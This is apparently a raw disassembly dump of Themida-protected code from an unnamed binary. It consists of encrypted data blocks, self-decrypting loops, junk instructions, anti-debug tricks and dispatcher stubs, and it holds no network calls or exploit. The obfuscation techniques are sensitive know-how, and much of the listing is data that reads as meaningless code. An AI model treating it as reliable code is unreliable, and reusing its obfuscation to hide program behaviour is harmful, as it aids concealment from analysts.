dd 60B7305h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 93C35747h, 5AADBF2Bh, 2736CAEAh, 4890FF8h, 52000000h
dd 0B8595A50h, 1, 7E8CDB1h, 35000000h, 0C1E96FA0h, 8B609C3Bh
dd 0FF5A61FAh, 57006AE7h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h, 0C3574700h, 0BE6B0741h, 34EDADBCh
dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h
dd 83000000h, 0B883h, 335F0200h, 0E860C3C0h, 11h, 6F8C4DB4h
dd 0A14E57A5h, 68524FFEh, 6476914Ch, 1709BF4Eh, 0BA584CA1h
dd 2415620h
; ---------------------------------------------------------------------------
popa
loc_56FE81: ; CODE XREF: Themida_:0056FC14j
; Themida_:0056FC44j
popa
mov edx, 6B7ADE02h
mov eax, eax
push 0
push ecx
call sub_56FE94
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56FE94 proc near ; CODE XREF: Themida_:0056FE8Cp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_56FE94 endp
; ---------------------------------------------------------------------------
dd 8D4B5672h, 0BDBD83E1h, 60B05h, 0BD830975h, 60B29D1h
dd 50197400h, 0B8C08B53h, 40Eh, 12998589h, 9D8D060Bh, 60DB381h
dd 585BD3FFh, 29D1BD83h, 7400060Bh, 0B8535017h, 40Eh, 12998589h
dd 9D8D060Bh, 60DB022h, 585BD3FFh, 6A5A52h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 976F6EC3h
dd 8B0FF941h, 3, 8BE8F180h, 0AE9C0h, 0B6550000h, 0BEB907AFh
dd 3AEDF738h, 8BB6CD80h, 1718EBC2h, 9B46F3h, 4 dup(0)
dd 0E9000000h, 20Bh, 245C8B60h, 0E824h, 815D0000h, 0E3EBAEDh
dd 4C26106h, 0FFE6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h
dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h
dd 8C26160h, 0FFF6E900h, 0FFFFh, 0
dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 60E3EF2h, 0F000E681h
dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 60E3EF6h
dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
dd 0C00A0324h, 19840Fh, 53500000h, 2BBh, 65858B00h, 86060B27h
dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
dd 74FF50FFh, 95FF0824h, 60B0AB5h, 4C010F50h, 8358FE24h
dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
dd 0FC00A03h, 984h, 65858B00h, 0C6060B27h, 0FF580000h
dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
dd 38840Fh, 2BB0000h, 8B000000h, 0B276585h, 0A188606h
dd 0F6850FDBh, 0C7FFFFFFh, 0B1E9985h, 6, 24448B00h, 988B08h
dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 60B1E99h
dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h, 0C302C88Ah
dd 0CBD1C332h, 0FD20BAAh, 184h, 0C90A4A00h, 0FFE5850Fh
dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h, 0FD20BFFh, 0FFFFDF85h
dd 66C361FFh, 4A8D88Ch, 29840Fh, 85C70000h, 60E3E97h, 1
dd 4C010F50h, 858FFE24h, 60E3E9Bh, 3E93858Dh, 0BD8D060Eh
dd 60E3E9Bh, 23E93889h, 8D000000h, 0B043D85h, 38408B06h
dd 46F31705h, 9385899Bh, 8D060E3Eh, 0B043D85h, 3C408B06h
dd 3E978589h, 858D060Eh, 60E3EB0h, 0AB58589h, 87E9060Bh
dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h
dd 0
dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h
dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h
dd 0A840F2Dh, 4000000h, 32133498h, 8C3C1D8h, 0FC90B49h
dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 60E4123h
dd 52D8589h, 858D060Bh, 60E414Bh, 21ED8589h, 858D060Bh
dd 60E4173h, 0F018589h, 8EB060Bh, 2 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5702FC
; ---------------------------------------------------------------------------
db 60h, 52h, 0Fh
; ---------------------------------------------------------------------------
add [esp-2], ecx
pop edx
add edx, 24h
loc_57028C: ; CODE XREF: Themida_:005702C3j
mov eax, [ebp+60B0B19h]
lea eax, [ebp+60E70DAh]
mov ecx, [eax]
mov ecx, [eax+1000h]
mov ecx, [edx]
mov cx, [edx-4]
mov [ebp+60E41D4h], ecx
cmp dword ptr [ebp+60B0DB1h], 0
jz loc_5702C8
pusha
push 0
call dword ptr [ebp+60B32DDh]
popa
jmp loc_57028C
; ---------------------------------------------------------------------------
loc_5702C8: ; CODE XREF: Themida_:005702B3j
mov [edx-4], si
ror esi, 10h
mov [edx+2], si
push edx
int 4 ; - internal hardware - OVERFLOW
; Generated by INTO instruction if OF flag is set. If flag is not set, INTO
; is effectively a NOP.
pop edx
mov [ebp+60E41D0h], eax
mov esi, [ebp+60E41D4h]
ror esi, 10h
mov [edx+2], si
mov esi, [ebp+60E41D4h]
mov [edx-4], si
popa
mov eax, [ebp+60E41D0h]
retn
; ---------------------------------------------------------------------------
loc_5702FC: ; CODE XREF: Themida_:0057027Cj
lea edx, [ebp+60B2F65h]
mov [ebp+60B2765h], edx
mov [ebp+60B2EC5h], edx
inc dword ptr [ebp+60B2EC5h]
mov byte ptr [ebp+60B2845h], 53h
push 0FCB148D8h
push dword ptr [ebp+60B0B01h]
lea eax, [ebp+60B390Dh]
call eax
mov [ebp+60B32DDh], eax
lea eax, [ebp+60E3ECAh]
mov [ebp+60B1BBDh], eax
jmp short $+2
jmp loc_5708F4
; ---------------------------------------------------------------------------
jmp loc_5708ED
; ---------------------------------------------------------------------------
push 60E436Fh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E44B8h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E4521h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E460Ah
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E471Ch
jmp loc_543FDB
; ---------------------------------------------------------------------------
dw 0F204h
dd 98EF18DBh, 4E5D4AA9h, 0FF07E073h, 0AEF213C0h, 0EEF54C97h
dd 29CAF50Fh, 599AA7FCh, 0F66D58ACh, 22310C19h, 0EF9B13D9h
dd 60C59A5Fh, 27A72B91h, 0DFC3941Dh, 0C3941DABh, 941D384Bh
dd 1D86C6C3h, 0F7EC394h, 0F7C3941Dh, 43941D97h, 9C4ED5A7h
dd 9F25E508h, 0FA605A3Dh, 11C2FD0Bh, 4795A0F4h, 82764B56h
dd 70A8A04Eh, 0BBC5172Ch, 0F30C394Ah, 0E0B20632h, 1DE907C9h
dd 0C46B5EC8h, 26A5CB70h, 968E6717h, 0A8A79B78h, 0C6DF7A6h
dd 341AFD55h, 0B1000004h, 18F56E65h, 0C6273C0Dh, 0B05D86BBh
dd 1F886B6Ah, 9A393A05h, 5D60B853h, 2D106986h, 0F0CFD936h
dd 44718263h, 76FE729Fh, 0C59A5E12h, 0DEBE2695h, 0B91B6DD5h
dd 1B7F536Eh, 4B5647D1h, 864E8276h, 0C3941DC2h, 1DC08428h
dd 7347C394h, 0B890BE84h, 941DD9A8h, 8C79EBC3h, 86FA4E7Bh
dd 6ED2ED37h, 2BBAFC2Ah, 5F84B1C2h, 0E46865AEh, 7D5E035h
dd 0CA5CBDD8h, 94F426A2h, 0A651A9C3h, 0DB234C27h, 0D83C10E4h
dd 0B15E1B3Fh, 0D9774D10h, 4C7D8871h, 340B11F8h, 9B2A0040h
dd 8E1F19E7h, 32211C69h, 40F227C6h, 3620232h, 0DEEA0000h
dd 0DC14F8D5h, 0C3941DADh, 1F32D42Ch, 50FA9D39h, 0C0A91D71h
dd 4B3599B4h, 3EC2BC49h, 7CE36964h, 68FC3203h, 0C394051Ch
dd 7090AF93h, 94799728h, 0FBD62383h, 0BDAF5C87h, 94F95D29h
dd 2E8D2C3h, 0C0B48B93h, 0DE320119h, 8012D830h, 94F9186Ch
dd 7DABEFC3h, 0AA498490h, 0A91D287Dh, 0C1122D71h, 74E6D324h
dd 0F90642EAh, 0B189C394h, 0B5CAB397h, 83C36B88h, 2C394F9h
dd 3C7CC0FDh, 8711DB60h, 94F91B6Fh, 7896ECC3h, 0FD0F7EF6h
dd 0BA80BD9Fh, 61F283ADh, 5FA4886h, 2EBh, 3E251C66h, 688BC6D1h
dd 865D6CBFh, 31221169h, 62F1CCD4h, 2B718CD3h, 0D9DECF14h
dd 868E7FE4h, 2E7B944Fh, 313BC013h, 9A59C9BDh, 9EF5EC5h
dd 14F8D5DEh, 916550A5h, 75EED328h, 941DA1E1h, 2DA9D9C3h
dd 0D328C394h, 0BACA1AEEh, 8A3C6BEDh, 6B8369F2h, 4260D3AAh
dd 6855AA03h, 0EE3FFB74h, 1EF48662h, 282B9h, 9CABFF00h
dd 625FA647h, 340514F1h, 99B8FE2Fh, 6857AD5Ah, 0C6254C8Bh
dd 0B75083B2h, 6780536Eh, 0D03D2611h, 0A0698AC7h, 58A02448h
dd 5827C59Ah, 4550BDE0h, 2673DA74h, 0ADF6A72Bh, 77DBF605h
dd 0E24B3F13h, 68D1A59Ch, 0E15F2312h, 0EA5426A7h, 516CB560h
dd 257FA9EDh, 8E3643A8h, 83C74B8Ah, 851EBDAFh, 8F5D5706h
dd 77F1729Ch, 0F2467B86h, 5F8E709Eh, 4A324193h, 1E0h, 1D27A792h
dd 5EA6C394h, 513FC67h, 0C27D4C5Fh, 2AEF86B5h, 0F765599Ah
dd 26C0FD06h, 122D7B22h, 37B6F0AEh, 0FF8B23ADh, 70C394B2h
dd 2771DC0Ah, 20C9CB28h, 1E3241A0h, 2D446FA1h, 0B3678B55h
dd 91831983h, 0E178968Ah, 52h, 0E30D6F0Fh, 659CBB96h, 5772Ch
dd 0A2CA1074h, 0BD9F6E7Bh, 0EB418EF4h, 10866293h, 1995D32h
dd 0C2D40000h, 68BF688Bh, 1E6D9A59h, 0CFD73023h, 7E8263F0h
dd 3E259C47h, 79FAC5DFh, 0A94A778Ch, 0C61D287Ch, 72E1DC29h
dd 0BFCB6389h, 30C59A5Bh, 2EC2DB41h, 941DCA86h, 91655DC3h
dd 72E1DC28h, 35A549F6h, 0B03651EFh, 0A162B796h, 9407790Dh
dd 90F4CEC3h, 95B2CC2Ch, 0ED57A14Eh, 0E6DAAE95h, 45D75182h
dd 9407A521h, 36D02AC3h, 3F7C2D7h, 0F278455Ah, 2AC4FB03h
dd 4A84049h, 0C3940740h, 5E0FF3C7h, 0B9E57E53h, 6F75BE4h
dd 0C8BC30FBh, 5FC39407h, 2F3E75A0h, 776BBCFCh, 2E5EC013h
dd 1EC39489h, 0FF77E57Eh, 0BD9F8ECAh, 8F5675Bh, 734E59FDh
dd 85574B8Fh, 43F94656h, 61095F2Bh, 2DEAD03Ah, 0CA62BF3Dh
dd 3A616FBEh, 3BD5C931h, 9384FB8h, 3C0D485h, 616F9FEBh
dd 6CBF103Ah, 0B195E95Dh, 0FB00E95Dh, 788B72C6h, 0DFBDFD41h
dd 0E31E9644h, 74446A55h, 284A84D5h, 5A80E071h, 7E4CB6D2h
dd 0EDC13930h, 6D81F462h, 2CE3678Ch, 87h, 5A99B0C2h, 0F46F5AADh
dd 2231081Bh, 5D86BDC5h, 8E5568B0h, 0B7CD2037h, 65BA6B88h
dd 1A6A9B58h, 0C2D73023h, 4D9F6CF7h, 9A5AADD9h, 0ED5322C5h
dd 14F8D5DEh, 916550A5h, 3BE0ED27h, 0F400D3EEh, 3240F155h
dd 177Ch, 50BD9800h, 4C807445h, 1DB3D2A2h, 0E132C394h
dd 1F880FD4h, 10000000h, 941D27A7h, 0CFD8C5C3h, 0CCF30BF2h
dd 0E3DE2B22h, 247F470h, 2A1A8A51h, 41A590E4h, 0D982B1A7h
dd 293h, 0DE807000h, 0A009FDD4h, 27967A57h, 0AB12E6D1h
dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h
dd 0CF7BCFFAh, 3B7C68h, 48F5400h, 24048124h, 4, 62F968h
dd 241C8900h, 272F68h, 243C8900h, 6EE868h, 240C8900h, 0E42DAB9h
dd 59CB8906h, 243C8B54h, 6804C483h, 500h, 81241C89h, 2D2A2404h
dd 478F2CA6h, 86F8108h, 2CA62D2Ah, 53243C8Bh, 0C381E389h
dd 4, 4C381h, 1C870000h, 34FF5C24h, 0C4835B24h, 36FDE904h
dd 0BF4AFFFDh, 0CE44BAF2h, 58E050A7h, 70FD7444h
db 12h
; ---------------------------------------------------------------------------
loc_5708ED: ; CODE XREF: Themida_:00570347j
mov eax, 60E47C8h
add eax, ebp
loc_5708F4: ; CODE XREF: Themida_:00570342j
mov edx, ecx
jmp short loc_570918
; ---------------------------------------------------------------------------
dd 8 dup(0)
; ---------------------------------------------------------------------------
loc_570918: ; CODE XREF: Themida_:005708F6j
jmp loc_570EAC
; ---------------------------------------------------------------------------
jmp loc_570EA5
; ---------------------------------------------------------------------------
push 60E4A17h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E4ACAh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E4CBAh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E4D21h
jmp loc_543FDB
; ---------------------------------------------------------------------------
dw 2E78h
dd 0D423CC17h, 82917EE5h, 237B944Fh, 0D226C71Ch, 9AC170E3h
dd 0DD063943h, 0DD6EB30h, 0BAB994E0h, 0D60D384Dh, 0DBAFC725h
dd 0ACC59A55h, 0D3DE67DDh, 0D5C00AFEh, 8C58F6CDh, 43941DFCh
dd 4D524329h, 4DA19CE5h, 496B85F9h, 0F7A544BCh, 4E8CB240h
dd 68000000h, 941D26A7h, 6A8418C3h, 21CB2F16h, 0F2D2D5BAh
dd 94420E7Ah, 9EB981C3h, 0A91035D9h, 0A5996D50h, 8D4DE18Bh
dd 4FBD9914h, 38A23E10h, 286CD0E9h, 8F2660EFh, 6043E261h
dd 0A9DD5124h, 3E3A6630h, 0D6543BC4h, 45BCA79Bh, 13h, 1D27A7EFh
dd 8517C394h, 38F86CFEh, 0B7BD99E4h, 0DE609043h, 0E1D25D3h
dd 18B2C9BFh, 0B4C73624h, 45C90410h, 65592D01h, 97B18C94h
dd 38ECB3B3h, 4553456Bh, 0CED7860Ah, 0CCF90AF3h, 95100A78h
dd 717CA4F9h, 93407988h, 0BFADBAC3h, 945A5737h, 1EE2D843h
dd 0FD6F5AAFh, 45C90410h, 520CE701h, 615CA44Ah, 0DF3FDDD6h
dd 47BBDD2Ch, 4B681195h, 0FDC53D9Fh, 79A9D909h, 247CBA61h
dd 0ADF223A9h, 0ECC0FF05h, 100A2418h, 0AC3570F9h, 74D0h
dd 0D6F3C00h, 0C85AE476h, 941D20A4h, 0B553A7C3h, 99DD7C21h
dd 6389F1BDh, 5B2F47D1h, 2C3A65A2h, 0C0D538D6h, 50E26EF5h
dd 65A3A8DCh, 2DDB3F3Ah, 6DFAD720h, 86661FB7h, 42894EC4h
dd 0C9000003h, 0B05D86BDh, 1E8F5465h, 0C8253E13h, 0B75083B2h
dd 3281526Dh, 0F5C8D02Bh, 4578816Eh, 2827719Eh, 0FCC9DACBh
dd 0DE569A67h, 0C59A57AAh, 0C8D64E3Dh, 30Dh, 0FED3DE50h
dd 1DAADA0Ah, 1348C394h, 990D1E84h, 0C39436EDh, 50FF1862h
dd 0E5719FBFh, 0C3948D65h, 948CEE9Dh, 8C7808C3h, 6B9AC394h
dd 7A5E221Dh, 8C4838CCh, 0D0B0C394h, 0E003948Ch, 0E655879Ch
dd 2FE5E7DFh, 38DE9579h, 9858FA05h, 6DFF719Fh, 1988A3CEh
dd 4CFAAD73h, 99C3D4B8h, 0C4D7C6FDh, 23CD01F5h, 326ADE24h
dd 0E30BD16Ah, 846D9446h, 7AB4B387h, 894C7051h, 28FC6B9h
dd 2140000h, 0A8FF28CBh, 5EAD5A99h, 0F17F063h, 0BEC22330h
dd 0FEE55C87h, 393A051Fh, 698AB7CCh, 865D68BCh, 32211C69h
dd 0FF8B23C9h, 70C59A57h, 0D5DE1B81h, 1DE2E60Eh, 1D65C394h
dd 47555539h, 0AEF751A9h, 0F7EB2F93h, 0ECC0FD06h, 0FEE6C17Eh
dd 82B583FEh, 36628A64h, 39BD99BDh, 0A6F512C1h, 0D13C48ABh
dd 0F25BF5C8h, 0C626AAA7h, 37BFADB6h, 446BEA0Bh, 43DDDD7Ch
dd 0D33E4AE2h, 49B13077h, 0CB68F98Eh, 81211493h, 48AC8039h
dd 94EC19ABh, 97F77FA9h, 0A73077EDh, 3F9C4ED5h, 16549F80h
dd 0F3C2D8DBh, 0A195609Fh, 7A1D0B0Fh, 0A28A22CCh, 9D4E7AD5h
dd 3D46B7A5h, 0E132D300h, 0B5193441h, 3C80B1C4h, 3C80E4D8h
dd 40F54434h, 0B034462Eh, 2E40FAD4h, 691D915Bh, 0FE2E40FAh
dd 797A084h, 381ADC3h, 1E7E3EE8h, 835FD705h, 0D4504DC9h
dd 84917CEEh, 2772A349h, 8A7BFC2Ah, 0F3CED979h, 3D42CB0Fh
dd 88582C00h, 2451F8E8h, 0F50AA4F8h, 0F406D4C8h, 51F81470h
dd 0B5A79B24h, 51F85531h, 46E0DA24h, 1C00A4h, 0BA135A5Ch
dd 87558365h, 0C6AB9777h, 0C63A1EE2h, 7A9CE914h, 24D34609h
dd 0ACF25B3Ah, 89ED2195h, 5D68BD6Ah, 50EBB1E9h, 2BD2628Ah
dd 251D5C2Eh, 9BF19151h, 7C24183Dh, 0E43AEB71h, 28196CDDh
dd 54C660A4h, 0DEA76B5h, 320F1A8Bh, 0C4D14h, 0A7AB0000h
dd 0C3943227h, 20B0h, 1EBDD800h, 0AEC6AEB9h, 0C394A6DAh
dd 55AA55ADh, 3EB6A439h, 0C394364Ah, 0BB4BE5DDh, 0C39418CBh
dd 800D6F5Dh, 941D186Ch, 5CFEAFC3h, 0AC8935B6h, 1F50EFD3h
dd 2B3695DCh, 0BA349ADh, 0BD99C72Fh, 84563A00h, 0AFC70C19h
dd 3A65C4DBh, 8E7256ACh, 7C009C4Ah, 8F175E7h, 88446EC0h
dd 0E38071Dh, 0D23EC931h, 198C7109h, 9F5629h, 12640000h
dd 0B8CF383Bh, 6EBD6A89h, 1F678053h, 0CED23320h, 8ED56CF7h
dd 0C92A156Fh, 79FAC7DCh, 964D788Ch, 0C2112C79h, 0CFBB3339h
dd 40C59A51h, 0D6F0BF1h, 45B990E3h, 0E53B1F97h, 0B461BD99h
dd 58B7516Ch, 0B195A4F7h, 0C7C07FCDh, 0EEEE1D3Fh, 0A9F3CB65h
dd 29244892h, 0BE446E61h, 0A64F8B44h, 8E848C71h, 38C9h
dd 9CABFF00h, 625FA647h, 340514F1h, 99B8FE2Fh, 6857AD5Ah
dd 0C6254C8Bh, 0B75083B2h, 6780536Eh, 0D03D2611h, 0A0698AC7h
dd 50A02448h, 5827C59Ah, 3C8E0h, 84500000h, 0FDD4DE9Ch
dd 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h
dd 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 8951CF7Bh, 4C181E1h
dd 81000000h, 4E9h, 240C8700h, 2404895Ch, 6A6168h, 243C8900h
dd 688568h, 24348900h, 410EBA52h, 0D78905EBh, 0A8F7815Ah
dd 6803E509h, 109Ch, 81242489h, 42404h, 575E0000h, 8F242C81h
dd 8F09E827h, 46810846h, 0E8278F08h, 2434FF09h, 4C4835Eh
dd 56243C8Bh, 0C681E689h, 4, 8704C683h, 0E95C2434h, 0FFFD3143h
dd 0AF61685Dh, 2ABE9BF8h, 3478F440h
db 0EEh
; ---------------------------------------------------------------------------
loc_570EA5: ; CODE XREF: Themida_:0057091Dj
mov eax, 60E4D7Eh
add eax, ebp
loc_570EAC: ; CODE XREF: Themida_:loc_570918j
mov ecx, eax
jmp loc_570F04
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
add esi, [esi+3Ch]
mov edi, [esp+28h]
mov edx, esi
add edx, 0F8h
mov cx, [esi+6]
movzx ecx, cx
loc_570ECE: ; CODE XREF: Themida_:00570EF9j
cmp ecx, 0
jz loc_570EED
cmp edi, [edx+0Ch]
jg loc_570EF5
sub edx, 28h
mov eax, [edx+0Ch]
mov ecx, [edx+14h]
sub eax, ecx
sub edi, eax
loc_570EED: ; CODE XREF: Themida_:00570ED1j
; Themida_:00570EFFj
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_570EF5: ; CODE XREF: Themida_:00570EDAj
add edx, 28h
dec ecx
jnz loc_570ECE
jmp loc_570EED
; ---------------------------------------------------------------------------
loc_570F04: ; CODE XREF: Themida_:00570EAEj
mov edx, 9FD3Eh
call sub_570F13
; ---------------------------------------------------------------------------
dw 0EC62h
db 11h, 0E4h, 1Dh
; =============== S U B R O U T I N E =======================================
sub_570F13 proc near ; CODE XREF: Themida_:00570F09p
adc cx, 2857h
pop eax
mov cx, 0FD00h
add eax, 5FA8h
jmp loc_570F3C
; ---------------------------------------------------------------------------
imul esi, [edi+0E49A07Fh], 0B6713B04h
and ecx, ebp
inc edx
aam 4Eh
sar byte ptr [edx-2Dh], 0B5h
dec ecx
loc_570F3C: ; CODE XREF: sub_570F13+10j
mov edx, 77C9A12Ch
sub edx, 77C9896Ah
loc_570F47: ; CODE XREF: sub_570F13+99j
mov ebx, [eax]
clc
add ebx, 3B6B5886h
mov cx, 0EF32h
sub ebx, 2D20404Bh
push esi
jmp loc_570F6E
; ---------------------------------------------------------------------------
dd 3D5ED17Dh, 0EB5558F7h, 4532C604h
db 86h, 0C9h
; ---------------------------------------------------------------------------
loc_570F6E: ; CODE XREF: sub_570F13+48j
pop esi
add ebx, 0C11E7DDh
pusha
push esi
sbb si, 0BE93h
pop ebx
mov si, 62DBh
popa
mov [eax], ebx
pusha
xor eax, 9F3B902h
and esi, 13D91CAFh
popa
sub eax, 5F4700DEh
mov ecx, edi
add eax, 5F4700DAh
xor edi, 6D978B1Fh
sub edx, 1
jnz loc_570F47
jmp loc_571090
; ---------------------------------------------------------------------------
db 20h
dd 2C0FBE1Dh, 0DF2F82C1h, 0FDBEB6CFh, 36365D54h, 0BCECA4h
dd 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h, 325277CBh
dd 9CACACh, 0F7F691B8h, 9382CD64h, 38h, 3Ch, 40h, 94h
dd 5, 1, 0A28h, 2, 20h dup(0)
dd 2E9F2250h
; ---------------------------------------------------------------------------
loc_571090: ; CODE XREF: sub_570F13+9Fj
jmp loc_57303E
; ---------------------------------------------------------------------------
push 60E5203h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E5304h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E53D9h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E54ABh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E5589h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E5640h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E56EFh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E57A7h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E5B07h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E5BA4h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E5CC5h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E5FF8h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E636Fh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E66DAh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E6848h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E68C6h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E6911h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E6977h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E6A9Ah
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E6C19h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 60E6D08h
jmp loc_543FDB
; ---------------------------------------------------------------------------
db 1Dh
dd 0C4213209h, 0B25380B1h, 1C896A67h, 0CB243F06h, 0EE558EB1h
dd 211C6487h, 0F1CCD532h, 44738562h, 28256E9Fh, 822AC6CBh
dd 0C59A4DC6h, 0DE02FA49h, 0C614F8D5h, 1D5430B4h, 0E7DBC394h
dd 86B3C449h, 0E07B015Dh, 196FF27Ah, 40ADBD9Fh, 17FF1831h
dd 3D358D96h, 0B655B25Ch, 0DAFA8AB2h, 493D1186h, 6096E999h
dd 69643C3Ah, 34987A93h, 0BE36402Ch, 3A609ECAh, 36CB655Dh
dd 25h, 760D6FDEh, 5D140E4h, 645EBD9Fh, 0CB305090h, 0BFE53A60h
dd 0C733DA2Eh, 0F81E2C35h, 92000000h, 0B251463h, 0F8D5DE15h
dd 0FD99C614h, 1A3FA791h, 3E82BDCBh, 0C548E6DAh, 34085BBFh
dd 0A88771D4h, 9014A6B4h, 0C394A0F4h, 6FB6077Bh, 0ED5CB452h
dd 0D2EF3898h, 56A30AFEh, 5576F87Bh, 0D8C394A4h, 0E761F2CFh
dd 63D7EE36h, 0FB0C012Fh, 5A227ACEh, 0A4CBBF37h, 0F35CC394h
dd 5FB397AAh, 0BA1C198Dh, 32BCBD9Fh, 6192CEBAh, 0CF79413Ah
dd 2C889F70h, 488ECDDh, 80744355h, 0EF74684Ch, 8456ED8Fh
dd 6C037A60h, 0F37BF544h, 3073C197h, 1CCE2218h, 4F94ABF1h
dd 0EC7B5A5Eh, 8C700789h, 0DA857AC8h, 0DD00001Ch, 8461F2C9h
dd 72934071h, 0DCC92A27h, 8B64FFC6h, 2E954E71h, 0E1DC24C7h
dd 0B18C9572h, 43345A2h, 0E8E52EDFh, 0C26A860Bh, 0C59A4F86h
dd 0BDC2BA09h, 76FE4150h, 0C3941D12h, 0C549AD95h, 0DE320F14h
dd 0F8C7DD30h, 9572E97Bh, 0C0ED2FC6h, 0E1BF21Ch, 0BDD02033h
dd 1DCFBB33h, 7A40C394h, 97ACF0CCh, 5702145h, 85FDBD9Fh
dd 0CA513131h, 1C843A60h, 8A9A0B91h, 5D8BCFB3h, 35C84AE3h
dd 0C6672Ch, 0DE810000h, 0A514F8D5h, 4E9C605Fh, 1DDCA83Ch
dd 0FA53C394h, 8CBA9EABh, 9419CBF8h, 0C394AC3h, 0A3CB55D7h
dd 3C6BE127h, 59B452A8h, 0BF8D714Ch, 0E1CDB92Dh, 78423C6Bh
dd 95AECECEh, 0FF2A2F47h, 271B4260h, 11A623Ch, 0ECD92ADBh
dd 4D04A842h, 0C2446D5Ch, 798372F8h, 81139D46h, 733C196Dh
dd 7A94EE30h, 0D9238993h, 2C3E12E6h, 733CCCB8h, 1B7F4330h
dd 70C26BCCh, 0EFA0A28Ch, 1BD9h, 62F1C8DAh, 9C477285h
dd 0CA292073h, 65FEC5DDh, 964D7088h, 0DF25382Fh, 8D9273E0h
dd 3242A3B0h, 0DA2FD81Bh, 658774EFh, 9A4E85C1h, 0C5BB0AC5h
dd 120DADEh, 987ADBE1h, 0CEF308F1h, 8F9500EAh, 30DD96B0h
dd 8B09EAE7h, 9D4150BDh, 0F5C9BD88h, 8D967791h, 81DCCB0h
dd 3E51263Dh, 7BE17A02h, 9F05D6F3h, 0C6357BDh, 0ED66B6FAh
dd 5DE6B6F1h, 4D66678Fh, 93E780F9h, 60ADCF2Fh, 0CF43B8CCh
dd 0D7CB0FF4h, 0FA0AFB05h, 18257AC3h, 2EB650B4h, 8AC44853h
dd 0AF0CDE24h, 0B91AD8A2h, 0BA323847h, 0F2C403CEh, 1DCF7941h
dd 99ED0193h, 6EF2C403h, 613FA14h, 3DDA93Dh, 0B73FF2C4h
dd 0F2C403D3h, 0A9916E54h, 3441AEB5h, 0C593CE19h, 0F45E4F07h
dd 1B0413h, 0C4F30700h, 0AAA7EE1Fh, 7C4D5C49h, 0C1F006E7h
dd 90AFF512h, 0EEDF443h, 0FF28CB0Ah, 0AF589BA6h, 18F56E59h
dd 0D821320Fh, 4EE89C10h, 907FC59Ah, 0F8D5DE28h, 384CE072h
dd 8FC3941Dh, 75B59D4Bh, 0A6CE1C27h, 0BD9F1A83h, 198D1FA9h
